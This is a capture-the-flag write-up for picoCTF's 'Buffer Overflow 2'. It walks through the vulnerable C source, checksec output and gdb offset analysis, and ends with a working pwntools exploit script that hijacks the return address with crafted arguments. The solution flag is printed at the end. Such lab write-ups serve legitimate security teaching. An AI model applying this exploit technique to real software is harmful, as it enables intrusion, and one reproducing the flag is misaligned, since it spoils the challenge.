picoCTF Buffer Overflow 2

3 minute read

Published:

picoCTF Buffer Overflow 2

In this problem, we are given a binary and the source code of the binary to analyse. The source code is below:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

So, we have to provide an input that overflows the “buf” buffer and upon returning jumps to “win” function to get the flag. In the “win” function, we can see that there are checks for 2 arguments. If the two arguments are of a specific value, then the flag will be printed.

Now let’s check the binary and see it’s status. Running “checksec” on the binary yields the following output:

 		Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

We can see that PIE is not enabled. That means the addresses of the function remains the same through different instances of the program. Now, let’s open the binary in gdb and check the stack.

Setting a breakpoint in “vuln”, we run the program and check the stack.

image.png

Here, we can see that, the address 0xffffcffc contains the return address which points to an instruction of the main function. So, we need to modify this address so that it points to the “win” function.

In order to check the offset of the return address from the beginning of the buffer, we can input a large pattern as input and check the value at the address and figure out the offset. We used the cyclic tool of pwntools and generated a 120 character pattern and provided it as input. Then upon checking the value of the return address, we see that, the pattern occurs at offset 112.

image.png

Now, we know where to put our return address. To get the return address, we can just check the disassembly of win and use its address as all the addresses are static in this binary. We get the address of 0x08049296.

Now we need to fix the arguments as without specific argument values, the flag wont be printed. We know that arguments are positioned in a function like below:

argument 1 → ebp+8

argument 2 → ebp+0xc

Here, as we are directly jumping to the function without calling it, storing the return address in the stack was not done. But the function pushes the old ebp to the stack and then the esp value is copied to ebp. So, the ebp points to the same address where we stored the return address in the vuln function because while returning from vuln, the return address is popped from stack. Now, the first argument needs to be 8 bytes away from ebp. So, we need an extra 4 bytes between the argument 1 and the return address in our payload. Finally, the exploit script looks like the following:

from pwn import *

p = process("./vuln")
# p = remote("saturn.picoctf.net", 61154)

arg1 = p32(0xCAFEF00D, endian='little')
arg2 = p32(0xF00DF00D,endian='little')
win_addr = p32(0x08049296, endian='little')

payload = b'A'*112 + win_addr + b'A'*4 + arg1 + arg2

with open("payload","wb") as f:
	f.write(payload)

print(p.recvline().decode())
p.sendline(payload)
p.interactive()

Running the above script, we get the flag.

Flag: picoCTF{argum3nt5_4_d4yZ_27ecbf40}